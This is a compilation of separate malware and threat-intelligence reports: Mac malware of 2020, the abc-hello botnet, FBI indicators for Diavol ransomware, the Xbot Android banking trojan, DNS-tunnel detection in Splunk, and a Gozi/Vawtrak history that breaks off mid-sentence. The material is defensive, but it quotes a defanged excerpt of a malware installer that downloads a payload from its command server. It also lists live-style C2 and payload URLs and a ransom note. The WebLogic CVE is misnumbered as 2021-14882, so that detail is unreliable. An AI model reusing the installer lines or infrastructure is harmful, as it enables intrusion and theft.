popular torrent sites. ### Persistence: Launch Item Depending on its privilege level, OSX.EvilQuest persists either as a user launch agent or a launch daemon. ### Capabilities: File Exfiltration, Remote Tasking, Ransomware, Viral Infection ...and more! One of the first actions taken by OSX.EvilQuest is to scan an infected system for various files that match a list of embedded regular expressions. ## OSX.WatchCat WatchCat appears to be a Lazarus APT group creation, that builds off previous backdoors while adding new capabilities. **Download:** OSX.WatchCat (password: infect3d) As noted by the macOS security researcher Scott Knight, information about OSX.WatchCat was made public via the addition of an XProtect signature (version 2127). ### Writeups: - “Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform” ### Infection Vector: Unknown Unfortunately, the XProtect signature and a binary sample is all the (public) information we have about OSX.WatchCat, meaning its infection vector remains unknown. ### Persistence: Launch Daemon Taking a peek at the OSX.WatchCat binary, we find an embedded launch daemon property list. ### Capabilities: Backdoor, plus "webshell" Mac malware analyst Phil Stokes notes in a recent writeup: "...there are some overlaps with the earlier [Lazarus Group] backdoor samples ...there is also much more to this malware that has not been seen in the other samples, including use of a WebShell." ## OSX.XCSSET XCSSET is rather unique, as it targets macOS developers (Xcode users) and leverages several 0days to steal passwords and exfiltrate data. **Download:** OSX.XCSSET (password: infect3d) ### Writeups: - “Mac malware exposed: XCSSET, an advanced new threat” - “What is OSX.XCSSET malware and what should I do about it?” - “XCSSET Mac Malware: Infects Xcode Projects, Performs UXSS Attack on Safari, Other Browsers, Leverages Zero-day Exploits” ### Infection Vector: (user-downloaded) Xcode Projects Xcode is the de-facto IDE for developing software for Apple devices (iOS, macOS, etc.). It appears that OSX.XCSSET was originally discovered hiding within various developer’s Xcode projects. ### Persistence: None(?) It appears that OSX.XCSET does not persist, but rather relies on the user triggering both the initial infection and (subsequent) re-executions of the malware. ### Capabilities: Credential Stealing, Data Exfiltration, Ransomware, Viral Replication ...and more! One of the main goals of OSX.XCSSET is to steal credentials and exfiltrate data from user applications. ## OSX.FinSpy FinSpy is a commercial cross-platform implant, supporting a myriad of cyber espionage features & capabilities. **Download:** OSX.FinSpy (password: infect3d) ### Infection Vector: Unknown Amnesty International uncovered a server hosting various FinSpy samples, including a macOS variant. ### Persistence: Launch Agent If the malicious application is run, it will eventually execute an installer that performs several actions. ### Capabilities: Persistent Implant with plugin-based modules and a kernel-level rootkit FinSpy for Mac OS follows a modular design. The launcher `logind` only instantiates the core component `dataPkg`, which oversees communications with the Command and Control server (C&C), and decrypting/launching modules when needed. ## IPStorm IPStorm is a cross-platform botnet, now ported to macOS. **Download:** IPStorm (password: infect3d) ### Infection Vector: SSH Brute Forcing(?) It is not clear how IPStorm infects macOS systems. However, the malware can spread via SSH brute-forcing. ### Persistence: None(?) While the Windows and Linux versions of IPStorm will persist, it does not appear that the macOS version supports persistence. ### Capabilities: Remote Shell, Ad Fraud, etc... During their analysis of the Linux variant, the Intezer researchers noted that IPStorm would create a reverse shell. ## GravityRat GravityRat is a cross-platform remote administration tool (RAT) now ported to macOS. **Download:** GravityRAT (password: infect3d) ### Infection Vector: Trojanized Applications Kaspersky’s report notes that the Windows versions were downloaded under the guise of a secure file sharing app. ### Persistence: Cron Job (of a 2nd-stage payload) The samples themselves don’t appear to persist. However, (2nd-stage) payloads that are downloaded are persisted by the malware. ### Capabilities: 1st-stage downloader The macOS GravityRat samples appear to simply be 1st-stage downloaders, reaching out to remote command & control servers to download (and persist) 2nd-stage payloads. This concludes the analysis of the Mac malware of 2020.
# ABC Botnet Attacks on the Rise **Key Takeaways** - The “abc-hello” DDoS botnet and malware is propagating in the wild via exploits and brute force attempts. - The malware is a Golang application with a modular plugin structure. - Analysis exposed related malware development on Github. - Indicators and tools are provided. The use of Golang malware has considerably increased in recent years, especially in cloud-based attacks. There are several reasons for this, including Golang’s easy cross-platform compilation, relatively low detection ratios, and a powerful networking stack. The last reason makes it an excellent choice for brute forcers, as these are inherently network intensive. Lacework Labs recently observed one of these aggressive Go brute force applications in honeypot traffic. This malware and botnet, dubbed “abc-hello,” leverages a Weblogic exploit (CVE) and different modules for brute forcing SSH, Redis, and PostgreSQL. Analysis of honeypot data revealed abc-hello was responsible for the majority of WebLogic exploit attempts over a four-month period. All traffic sources were from China, suggesting the botnet has more success infecting servers hosted with Chinese cloud providers. Static analysis of abc-hello identified key plugins and libraries for the malware. The plugins, which all have ‘abc-hello’ in the path, include scanning and brute force modules. The web logic module, `plugin.Weblogic14882Check`, references the applicable CVE 2021-14882. - `abc-hello/plugin.SetConfig` - `abc-hello/plugin.Scan` - `abc-hello/plugin.try` - `abc-hello/plugin.pluginRun.func2` - `abc-hello/plugin/plugin.go` - `abc-hello/plugin.Regist` - `abc-hello/plugin.SshPassCheck` - `abc-hello/plugin.try.func1` - `abc-hello/plugin.PostgresPassCheck` - `abc-hello/plugin.pluginRun` - `abc-hello/plugin.RedisPassCheck` - `abc-hello/plugin.Check` - `abc-hello/plugin.CheckErrs` - `abc-hello/plugin.StartScan` - `abc-hello/plugin.pluginRun.func1` - `abc-hello/plugin.Weblogic14882Check` - `abc-hello/plugin.init.0` - `abc-hello/plugin.StartScan.func1` Abc-hello’s botnet propagates via brute forcing and the Weblogic exploit. The first stage malware is a malicious bash installer named `ff.sh`. This script is similar to many others that attempt to find and uninstall malware components such as XMRig processes and containers from preexisting infections. Primary tasks include installation of the abc-hello payload, configuration of a user named ‘logger’, and copying of SSH keys. One distinguishing feature from this install script is a comment referencing `cloudResetPwdUpdateAgent`, a Huwaii cloud utility for password resetting under OpenStack architecture. The `ff.sh` script writes Abc-hello to `/etc/iptablesupdate`. During testing, the abc-hello runs a copy of itself as `/usr/bin/dockerlogger`. The malware was alerted to by Lacework, and the Polygraph gave insight into the brute forcing capabilities. **Traffic & Protocol Analysis** Lacework Labs examined packet capture which contained just 16 minutes of abc-hello traffic. Within that time frame, the malware attempted connections to over 74K IPs, amounting to 423 megabytes. The malware first connects on port 26800 to the C2, which is the same server as the malware host. The check-in transmits basic information about the victim in plaintext. Follow-on beacons occur in 5-second intervals and consist of a POST to `/api/getlist`. The C2 replied with two hex ASCII values. The first value `73746f707c` decodes to `stop|`. The second value is a digital signature used for verification. The first subnet to be scanned is the class B of the victim’s private subnet (in this case, 172.31.0.0/16). The program then proceeds to randomly generate public class B networks (255.255.0.0) and then scans the entire subnet. Among the 74K contacted hosts, 2354 were listening on targeted ports. | Targeted Port | Service | Listening Hosts | |---------------|---------------|------------------| | 22 | SSH | 2271 | | 5432 | PostgreSQL | 467 | | 6379 | Redis | 439 | | 7001 | Weblogic | 422 | **Kdev Kernel Module & Millken** One variant of the abc-hello installer also installed a kernel module with apparent scanning and DDoS functionality. Searches on this module revealed the same code in a Github repository named kdev. While this is open source, the repository only has 2 forks, indicating limited distribution. The module creator, millken, has been quite active since 2013 with over 140 repositories; however, very few have any useful documentation or READMEs. Ten percent of millken’s code is also Golang, but it’s unclear if any comprise the source for the abc-hello Golang component. The user did author a Golang scanner named kscan and has also forked numerous scanning and hacking associated repositories from others. The kscan repo also has a test configuration file with three class C’s belonging to ASN 37963 (Hangzhou Alibaba Advertising Co., Ltd.), which was the top source for abc-hello traffic observed in the Lacework Labs honeypots. ```sh #!/bin/sh xl_x64scan1="http://103[.]209.103.16:26800/atk.tar.gz" xl_x64scan2="http://103[.]209.103.16:26800/atk.tar.gz" if [ -x "$(command -v apt-get)" ]; then export DEBIAN_FRONTEND=noninteractive apt-get install -y debconf-doc apt-get install -y build-essential apt-get install -y make gcc git fi … ``` Netlab reported that this DDoS module was later scrapped, and follow-on variants of abc-hello are bundled with modules for similar functionality. While more evidence would be needed to attribute the millken user to actual abc-hello botnet operations, the related repositories and codebase are worth noting. **Conclusion** Abc-hello is not the most prolific botnet in the wild; however, Lacework Labs has consistently observed related traffic in our honeypots. For Weblogic exploit attempts specifically, the botnet ranks among the most aggressive. Additionally, as highlighted by Netlab, the malware will likely evolve, as there are indications that the operators are still in the testing phase for other components such as DGA and TOR. The use of Golang has become typical among many brute force applications, and it will likely continue to be a popular choice for botnets like abc-hello. As part of this analysis, Lacework Labs authored a Go triage tool that can assist in identifying strings of interest and gleaning insight into a program’s functionality. This tool, as well as indicators, are available in the Lacework Labs’ Github repository.
# TLP:WHITE 19 January 2022 The following information is being provided by the FBI, with no guarantees or warranties, for potential use at the sole discretion of recipients to protect against cyber threats. This data is provided to help cyber security professionals and system administrators guard against the persistent malicious actions of cyber threat actors. This FLASH was coordinated with DHS/CISA. **FLASH Number: CU-000161-MW** **WE NEED YOUR HELP!** If you identify any suspicious activity within your enterprise or have related information, please contact your local FBI Cyber Squad immediately with respect to the procedures outlined in the Reporting Notice section of this message. *Note: By reporting any related information to FBI Cyber Squads, you are assisting in sharing information that allows the FBI to track malicious actors and coordinate with private industry and the United States Government to prevent future intrusions and attacks.* ## Indicators of Compromise Associated with Diavol Ransomware ### Summary The FBI first learned of Diavol ransomware in October 2021. Diavol is associated with developers from the Trickbot Group, who are responsible for the Trickbot Banking Trojan. Diavol encrypts files solely using an RSA encryption key, and its code is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. While ransom demands have ranged from $10,000 to $500,000, Diavol actors have been willing to engage victims in ransom negotiations and accept lower payments. The FBI has not yet observed Diavol leak victim data, despite ransom notes including threats to leak stolen information. ### Technical Details Diavol creates a unique identifier for victim computers via the generation of a System or Bot ID with the following format: `[hostname]-[username]_W[windows_version].[32CharacterString]` (example BOT ID follows:) `EXAMPLEHOSTNAME-EXAMPLEUSERNAME_W617601.6A8DA4GEEV11E43V85556FE984GG94W1G` The Bot ID generated by Diavol is nearly identical to the format used by TrickBot and the Anchor DNS malware, also attributed to Trickbot. Once the Bot ID is generated, Diavol attempts to connect to a hardcoded command and control (C2) address. If the registration to the botnet is successful, the infected device connects to the C2 again to request updated configuration values. Diavol encrypts files and appends the “.lock64” file extension to the encrypted files. The file contents are encrypted using Microsoft CryptoAPI functions and then written to the new encrypted file. Diavol can also terminate processes and services. ### Indicators Once files are encrypted, the desktop background color is changed to black, and the following message is stored in a BMP file and displayed: “All your files were encrypted. For more information see README-FOR-DECRYPT.txt.” Files are encrypted with the “.lock64” extension and the ransom note is dropped into the folders. A readme file dropped on victims’ machines directs them to a TOR website to obtain a decryption key. After successful execution of the malware, Diavol can be found in the following directories: **Diavol indicators as of 12/2021** | Directories | Whitelisted File Extensions | Whitelisted Files | Whitelisted Paths | |---------------------|-----------------------------|----------------------------------|-----------------------| | %ProgramData% | .exe | readme_for_decrypt.txt | %WINDIR% | | %UserProfile% | .sys | locker.txt | %PROGRAMFILES% | | | .dll | unlocker.txt | %PROGRAMW6432% | | | .lock64 | | %TEMP% | | | .restore | | | Diavol’s malicious executables further contained the following PDB path: `D:\Development\Master\onion\locker.divided\LockMainDIB\Release\LockMainDIB.pdb` ### Ransom Note Example The following is an example of a ransom note used by Diavol, as of December 2021: ### What happened? --------------Your computers and servers were L O C K E D-------------- --------------You need to buy decryption tool for restore the network.----------- Take into consideration that we have also downloaded data from your network. That in case of not making payment will be published on our news website. ----------------# How to get my files back? #---------------- 1. Download Tor Browser from original site. 2. Open this url in Tor Browser and go to discuss - `https://rgehmqvs2pgukiyzlfxruq2nn7vl5ldnn4gsemheoddj4anljjnf2iad.onion/` ----------------Try to use Tor over VPN!---------------- ### Information Requested The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, Bitcoin wallet information, the decryptor file, and/or a benign sample of an encrypted file. The FBI does not encourage paying ransoms. Payment does not guarantee files will be recovered. It may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. However, the FBI understands that when victims are faced with an inability to function, all options are evaluated to protect shareholders, employees, and customers. The FBI may be able to provide threat mitigation resources to those impacted by Diavol ransomware. Regardless of whether you or your organization have decided to pay the ransom, the FBI urges you to promptly report ransomware incidents to your local field office. Doing so provides the FBI with critical information needed to prevent future attacks by identifying and tracking ransomware attackers and holding them accountable under US law. ### Recommended Mitigations - Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). - Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization. - Regularly back up data, password protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides. - Install and regularly update antivirus software on all hosts, and enable real-time detection. - Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. - Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts. - Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges. - Disable unused ports. - Consider adding an email banner to emails received from outside your organization. - Disable hyperlinks in received emails. - Use multifactor authentication where possible. - Use strong passwords and regularly change passwords to network systems and accounts, implementing the shortest acceptable timeframe for password changes. Avoid reusing passwords for multiple accounts. - Require administrator credentials to install software. - Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN. - Focus on cyber security awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities (i.e., ransomware and phishing scams). ### Additional Resources For additional resources related to the prevention and mitigation of ransomware, go to [stopransomware.gov](https://www.stopransomware.gov) as well as the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. Stopransomware.gov is the Government’s official one-stop location for resources to tackle ransomware more effectively. ### Reporting Notice The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office. With regards to specific information that appears in this communication; the context, individual indicators, particularly those of a non-deterministic or ephemeral nature (such as filenames or IP addresses), may not be indicative of a compromise. Indicators should always be evaluated in light of your complete information security situation. Field office contacts can be identified at [fbi.gov/contact-us/field-offices](https://www.fbi.gov/contact-us/field-offices). When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. ### Administrative Note This product is marked TLP:WHITE. Subject to standard copyright rules, the information in this product may be shared without restriction. ### Your Feedback Regarding this Product is Critical Was this product of value to your organization? Was the content clear and concise? Your comments are very important to us and can be submitted anonymously. Please take a moment to complete the survey at the link below. Feedback should be specific to your experience with our written products to enable the FBI to make quick and continuous improvements to such products. Feedback may be submitted online here: [ic3.gov/PIFSurvey](https://www.ic3.gov/PIFSurvey). Please note that this survey is for feedback on content and value only. Reporting of technical information regarding FLASH reports must be submitted through your local FBI Field Office.
# New Android Trojan “Xbot” Phishes Credit Cards and Bank Accounts, Encrypts Devices for Ransom **By Cong Zheng, Claud Xiao, Zhi Xu** **February 18, 2016** We recently discovered 22 Android apps that belong to a new Trojan family we’re calling “Xbot.” This Trojan, which is still under development and regularly updated, is already capable of multiple malicious behaviors. It tries to steal victims’ banking credentials and credit card information via phishing pages crafted to mimic Google Play’s payment interface as well as the login pages of seven different banks’ apps. It can also remotely lock infected Android devices, encrypt the user’s files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom. In addition, Xbot will steal all SMS messages and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks. So far, the malware doesn’t appear to be widespread, and some markers in its code and faked app interfaces indicate, at least for now, it mainly appears to target Android users in Russia and Australia. Of note, of the seven bank apps it is seen to imitate, six of them belong to some of the most popular banks in Australia. However, Xbot was implemented in a flexible architecture that could be easily extended to target more Android apps. Given we also observed the author making regular updates and improvements, this malware could soon threaten Android users around the world. Xbot primarily uses a popular attack technique called “activity hijacking” by abusing some features in Android. The apps Xbot is mimicking are not themselves being exploited. Starting with Android 5.0, Google adopted a protection mechanism to mitigate this attack, but other attack approaches used by Xbot are still affecting all versions of Android. ## Xbot’s Evolution and Spreading We believe Xbot is a successor to the Android Trojan Aulrin that was first discovered in 2014. Xbot and Aulrin have very similar code structures and behaviors, and some resource files in Aulrin are also in Xbot samples. The main difference between them is that Xbot implements its behaviors using JavaScript through Mozilla’s Rhino framework, while Aulrin used Lua and .NET framework. The earliest sample of Xbot we found was compiled in May 2015, and while comparing Xbot to Aulrin, it seemed to us the author re-wrote Aulrin using a different language and framework. The author has also progressively made Xbot more complex; the most recent versions use Dexguard, a legitimate tool intended to protect Android apps by making them difficult to reverse engineer or be tampered with. We are not clear how Xbot spreads in the wild. However, using VirusTotal, we found samples that were hosted on the below URLs over the past several months: - hxxp://market155[.]ru/Install.apk - hxxp://illuminatework[.]ru/Install.apk - hxxp://yetiathome15[.]ru/Install.apk - hxxp://leeroywork3[.]co/install.apk - hxxp://morning3[.]ru/install.apk There are several things that imply the developer of Xbot could be of Russian origin. The earlier versions of Xbot displayed a fake notification in Russian for Google Play phishing, there are Russian comments in its JavaScript code, and the domains we’ve uncovered were registered via a Russian registrar. Xbot will also intercept SMS messages from a specific bank in Russia and parse them for bank account information, which it will exfiltrate if found. While later versions use English instead of Russian for the notification, the language was not changed elsewhere. ## Phishing for Credit Cards and Bank Accounts After being installed on an Android device, Xbot will start communicating with its C2 server. When certain commands are received, it will launch phishing attacks at users of Google Play and certain Australian bank apps. We observed three different phishing approaches and one use of activity hijacking. If the C2 command is “cc_notify,” Xbot will display a fake system notification to the victim with the Google Play logo and the text “Add payment method” in either Russian or English. This imitates an actual popup the official Google Play app will show a user that has registered for the service but not yet provided a credit card. However, Xbot will display this whenever it receives the command, regardless of whether the Google Play app already has a credit card tied to it. If a victim clicks the fake notification, Xbot connects to its C2 server to download a webpage and display it with WebView. The page looks like Google Play’s actual interface for credit card information. Its user interaction procedures are also almost exactly the same as the legitimate version. All information input into this page will be uploaded to its C2 server. The information it asks for includes: - credit card number - expiration date - CVV number - card holder’s name - card holder’s billing address - card holder’s phone number - VBV (Verified by Visa) or McSec (MasterCard SecureCode) number If the C2 command is “cc_dialog,” the fake notification step will be skipped, and the fake Google Play webpage will be directly displayed to victims. If the C2 command is “enable_inject,” Xbot will begin to monitor currently running apps via the getRunningTasks() API in Android. If the app running in the foreground is Google Play or one of several Australian bank apps (which is specified by the C2 server via the “add_inject” command), it will immediately popup another interface on top of the running app. This is a classic attack technique called “activity hijacking.” Note that Android 5.0 implemented a security enhancement to keep apps from getting running app information through the getRunningTasks() API. So this attack won’t be effective on devices running Android 5.0 or later. In the activity hijacking attack scenario, the faked app interfaces are also webpages downloaded from a C2 and displayed by WebView. So far we’ve found seven different faked interfaces. We identified six of them – they’re imitating apps for some of the most popular banks in Australia. The interfaces are very similar to these banks’ official apps’ login interfaces. If a victim fills out the form, the bank account number, password, and security tokens will be sent to the C2 server. It’s worth noting that, since Xbot’s C2 server can remotely decide which faked app webpage to display, it would be easy to expand this attack to more apps without even having to update the code. ## Locking, Encrypting, and Ransoming After being installed, Xbot asks the user to authorize it as a device administrator. Then, if the C2 server sends the command “killon,” it will change the phone to silent mode, reset the password to “1811blabla,” then toggle the device screen to activate the new password. If the C2 command is “enable_locker,” Xbot will display a ransom webpage claiming to be Cryptolocker, still using WebView, from either “hxxp://23[.]227.163.110/locker.php” or another address specified by the C2 server. When we analyzed the sample, the webpage came from its C2 server. Xbot will also start the onBackPressed(), onDestroy(), and onPause() callback methods to prevent the user from exiting. Xbot will also encrypt the victim’s files in external storage. Currently, the encryption algorithm is pretty simple: just XOR each byte in all files by the fixed integer number 50. According to the ransom webpage, the victim has to purchase a U.S. $100 PayPal My Cash Card from www.paypal-cash[.]com, and input the card number within five days. The webpage also says it’s impossible to decrypt the files by yourself, which is obviously not true for existing samples. It should be noted that since the ransom page comes from a remote server, the attacker can update it to change the payment method and/or the amount of money at any time. ## Information Stealing Xbot has some additional capabilities. It will collect all contacts’ names and phone numbers and upload them to its C2 server, as well as all new SMS messages. In some samples, Xbot will also intercept and parse specific SMS messages. It parses all SMS messages sent by a specific premium rate SMS short number in an attempt to collect the victim’s account and confirmation numbers from a bank in Russia, and then uploads the information to its C2 server. ## Conclusion While Android users running version 5.0 or later are so far protected from some of Xbot’s malicious behaviors, all users are vulnerable to at least some of its capabilities. As the author appears to be putting considerable time and effort into making this Trojan more complex and harder to detect, it’s likely that its ability to infect users and remain hidden will only grow, and that the attacker will expand its target base to other regions around the world. We’ll continue to watch and report on this threat as the attacker introduces new versions. We also want to re-emphasize that the banking apps imitated by Xbot are not themselves being exploited. Customers of Palo Alto Networks are protected with our WildFire, URL filtering, and IPS services. An AutoFocus tag has also been created to identify this family and its variants. Customers can also refer to IPS signature (13997) for details about Xbot C2 traffic information. ## Acknowledgments We greatly appreciate the help from Rongbo Shao, Yi Ren, Bowen Jiao, Michael Scott, Jen Miller-Osborn, Chad Berndtson, Chris Clark, and Ryan Olson from Palo Alto Networks in working on the analysis and coverage of the Xbot family. ## IOCs **Sample hashes:** - dfda8e52df5ba1852d518220363f81a06f51910397627df6cdde98d15948de65 - e905d9d4bc59104cfd3fc50c167e0d8b20e4bd40628ad01b701a515dd4311449 - f2cfbc2f836f3065d5706b9f49f55bbd9c1dae2073a606c8ee01e4bbd223f29f - 029758783d2f9d8fd368392a6b7fdf5aa76931f85d6458125b6e8e1cadcdc9b4 - 1264c25d67d41f52102573d3c528bcddda42129df5052881f7e98b4a90f61f23 - 20bf4c9d0a84ac0f711ccf34110f526f2b216ae74c2a96de3d90e771e9de2ad4 - 33230c13dcc066e05daded0641f0af21d624119a5bb8c131ca6d2e21cd8edc1a - 4b5ef7c8150e764cc0782eab7ca7349c02c78fceb1036ce3064d35037913f5b6 - 7e939552f5b97a1f58c2202e1ab368f355d35137057ae04e7639fc9c4771af7e - 93172b122577979ca41c3be75786fdeefa4b80a6c3df7d821dfecefca1aa6b05 - a22b55aaf5d35e9bbc48914b92a76de1c707aaa2a5f93f50a2885b0ca4f15f01 - d082ec8619e176467ce8b8a62c2d2866d611d426dd413634f6f5f5926c451850 - a94cac6df6866df41abde7d4ecf155e684207eedafc06243a21a598a4b658729 - 58af00ef7a70d1e4da8e73edcb974f6ab90a62fbdc747f6ec4b021c03665366a - 7e47aaa8a1dda7a413aa38a622ac7d70cc2add1137fdaa7ccbf0ae3d9b38b335 - d1e5b88d48ae5e6bf1a79dfefa32432b7f14342c2d78b3e5406b93ffef37da03 - c2354b1d1401e31607c770c6e5b4b26dd0374c19cc54fc5db071e5a5af624ecc - 12f75b8f58e1a0d88a222f79b2ad3b7f04fd833acb096bb30f28294635b53637 - 1b84e7154efd88ece8d6d79afe5dd7f4cda737b07222405067295091e4693d1b - 616b13d0a668fd904a60f7e6e18b19476614991c27ef5ed7b86066b28952befc - 2e2173420c0ec220b831f1c705173c193536277112a9716b6f1ead6f2cad3c9e - 595fa0c6b7aa64c455682e2f19d174fe4e72899650e63ab75f63d04d1c538c00 **C2 Servers and Malicious URLs:** - melon25[.]ru - 81[.]94.205.226:8021 - 104[.]219.250.16:8022 - hxxp://52[.]24.219.3/action.php - hxxp://192[.]227.137.154/request.php - hxxp://23[.]227.163.110/locker.php - hxxp://market155[.]ru/Install.apk - hxxp://illuminatework[.]ru/Install.apk - hxxp://yetiathome15[.]ru/Install.apk - hxxp://leeroywork3[.]co/install.apk - hxxp://morning3[.]ru/install.apk
# When Entropy Meets Shannon This is the third post on URL analysis. Please have a look at the two other posts for more context about what can be done with Splunk to analyze URLs: - Splunking 1 million URLs - Hunting that evil typosquatter You will find in this article information on how one can detect DNS tunnels. While you can find lots of very useful apps on Splunkbase to help you analyze DNS data, it is always good for curious individuals to discover some techniques being used underneath. A lot of captive portals are bypassed every day by anyone able to run a DNS request. If someone can run on their machine the following command: ``` $ host splunk.com splunk.com has address 54.69.58.243 ``` Without being authenticated on the captive portal, they can use any service on the internet using a DNS tunnel. There are a lot of tools out there to create those tunnels. For a great paper on the topic, I encourage you to read the Detecting DNS Tunneling from SANS Institute. ## Claude Shannon to the Rescue! Long ago, the venerable Claude E. Shannon wrote the paper “A Mathematical Theory of Communication,” which I strongly encourage you to read for its clarity and amazing source of information. He invented a great algorithm known as the Shannon Entropy, which is useful to discover the statistical structure of a word or message. If you consider a word, being a discrete source of a finite number of characters, for each possible character there will be a set of probabilities that would produce various outputs. There will be an entropy for each character. This entropy on the chosen word is defined as the average of the output weighted on the probability of occurrence of the characters. The previous paragraph can easily be translated into the following Python code (taken from the excellent URL Toolbox on Splunkbase): ```python def shannon(word): entropy = 0.0 length = len(word) occ = {} for c in word: if not c in occ: occ[c] = 0 occ[c] += 1 for (k, v) in occ.items(): p = float(v) / float(length) entropy -= p * math.log(p, 2) # Log base 2 return entropy ``` Which can be run directly from any word you can have in Splunk. As you can see, the score is pretty high, which makes sense since there is a high variety of frequency over those data. If we click on the `ut_shannon` field to sort in reverse order, this is what you could get: As one can see, words of low character distribution get a low score. ## Catching DNS Tunnels from Subdomains in URLs If we run the following query, interesting results are shown: ``` sourcetype="isc:bind:query" | eval list="mozilla" | `ut_parse(query, list)` | `ut_shannon(ut_subdomain)` | table ut_shannon, query | sort ut_shannon desc ``` As you can see in the results here, the high score comes from tunnels made to the domain `ip-dns.info` as well as something which is unknown but could also be a tunnel: traffic towards `greencompute.org`. I hope this post helps you to see tools and methodologies one can use to find out unusual activity strictly based on the DNS traffic. More to come… Thanks! Sebastien Tricaud Posted by Splunk
# Related Insights **Get The Latest Insights** By The PhishLabs Team | December 19, 2014 In a recent blog post, we wrote about Vawtrak expanding targets and gaining momentum. Fast forward a few months and the threat is anything but diminishing. Sophos just released a technical report on Vawtrak which discusses the significance of the threat and its Crimeware-as-a-Service model. In December 2014, Vawtrak version 0x38 was released including significant code and configuration changes that indicate momentum and an intense focus on development of the crimeware kit. To better understand the complexity of the threat, this post is a historical review bringing you all the way up to the most recent enhancements observed in December. ## Key Points about Vawtrak and its Capabilities - Sophisticated, modern banking Trojan - Small, efficient client written in MS Visual C - Sophisticated botnet management back-end - Polymorphic - All standard spyware functions (keylogging, etc.) - Advanced Man in the Middle webinjects capabilities - Downloadable configuration - Development controlled by capable and experienced cybercriminals ## Roots in Russia In the early to mid-2000s, Nikita Kuzmin, a 25-year-old Russian national (the admitted inventor of Gozi) worked on coding spyware and Remote Access Trojans (RATs). He borrowed source code from existing families popular at the time, proxy functionality common in a couple of kits, spyware functionality from the codebase of UrSnif (developed by Alexey Ivanov, “subbsta”), and botnet C2/management functions and backend code from Nuclear Grabber (based on A311 Death/Haxdoor maintained by Corpse). Kuzmin worked closely with the VXer (computer Virus eXperts) superstars of those days: Corpse, Vladislav Horohorin (BadB), the Vasiliy Gorshkov and Alexey Ivanov team (Suidroot, Eliga, XTZ, Skylack, Kotenok). He had known some of them since the ShadowCrew days. He was younger than most of his peers, at the time posting that he was looking forward to getting his “A водительские права” (Russian motorcycle/class A driver license) and hoping to soon be making enough money for a brand-new, “real” motorcycle, so he could finally retire the decrepit Мопед Карпаты scooter he picked up on the scene after someone had crashed or ditched it. Despite his young age, he was trusted, respected for his practical technical skills and coding talent, and also known for his enthusiasm for the idea that Internet fraud, especially against Western targets, was a legitimate profession with better pay and perks than working for local computer and software retail outlets, university labs, and ISPs. ## Cybercrime-as-a-Service Emerges Through his VXer contacts, Kuzmin had access to the source code for several crimeware kits with overlapping state-of-the-art capabilities, each kit doing something exceptionally clever in one key area compared to the others. With the help of a close affiliate of the HangUP Team, they created a repository under version control for a crimeware kit codebase incorporating all of these best features – this is what became known as Gozi. The HangUP team was a nationalistic group with a common following of “cyberfacism,” shared Russian and Nazi imagery, and an overarching theme to wage financial warfare on Western interests through the use of the Internet to commit fraud. Kuzmin and his partners launched their first major operation, 76service, in a beta phase in 2006 and opened it up as “cybercrime-as-a-service” (CaaS) or “criminal-to-criminal” (“C2C”) services operation to customers from the Internet fraud underground scene in early 2007. Kuzmin’s partners, in the then brilliantly innovative Gozi/76Service, were Aleksandr Kalinin, also known as Grig (who also used the handles “tempo” and, for the purposes of marketing the service, “76”) and the systems administrator, a Latino man (known as Exoric) in North America who spoke Spanish and maintained the relationship with their incubator project’s bulletproof hoster in Panama. To this day, Kalinin is still at large in Russia and is implicated as part of the ring involved in breaches at TJX, Heartland, and NASDAQ. ## Gozi Exposed The first samples from Kuzmin’s production-ready Gozi kit were collected and analyzed in 2007, subsequently exposing 76service and bringing to an end the period in which the operation could thrive without disruption by cybercrime fighters. ## Competition Heats Up – Gozi 2.0 Looking to compete with kits like Zeus, Kuzmin worked with other partners from the HangUP Team between 2007 and 2009 to refactor a lot of the code and incorporate some of the latest tactics from more current codebases. To fund this, thinking the new version in the works would make Gozi 1.0 obsolete, Kuzmin sold the source code for a reported $50,000 plus a profit-sharing arrangement. His buyer was another hacker and old contact, a seasoned cyberfraudster using the handles NSD and 01NSD (from a transliterated abbreviation of “несанкционированный доступ”, translated as “unauthorized access”) with a reputation going back at least to HangUP Team days in 2005. Frustrated with new development efforts, Kuzmin hired Deniss Čalovskis (from Latvia, using the handle “Miami”) in September 2010 to replace Corpse’s formgrabber code with full-featured webinjects capability that could not only read but write/modify (man-in-the-middle) web sessions like Zeus and Torpig/Anserin/Mebroot. This was to become the Gozi 2.0 version. ## Gozi 1.0 Source Code Leaked On September 20, 2010, Kuzmin sent Čalovskis a RAR file of the “Gozi 1.0” source code so Čalovskis could work on webinjects. The Gozi kit’s actual name is “CRM” and the RAR file included CRM version “5557” with a build date of 2010-09-16. It was the latest known version, capable of using a pre-computed list of domain names for C2, which used a combination of words from the US Constitution based on the bot group ID and a date in the format MM/YYYY. Negligent to password protect the file, the code was discovered and leaked; anyone interested could download the unencrypted, password-less source code, too. ## Gozi 2.0 Goes Live Beginning in late 2010, Kuzmin worked with “Daniel” Mihai Ionut Paunescu (using the handle “Virus”) at PowerHost in Bucharest, Romania, to setup and host multiple botnets using this webinjects-capable Gozi 2.0 against banks in Europe, the UK, and the US. ## Kuzmin Detained and Charged After webinjects were incorporated and “Gozi 2.0” went gold/GA, Kuzmin was arrested in California, pleading guilty six months later and leaving NSD with v1.0 and Čalovskis with v2.0 to carry on ad hoc cybercrime operations using Gozi botnets. ## Public Attacks Against U.S. Banks In 2012, someone, most likely Čalovskis, made the new code available to 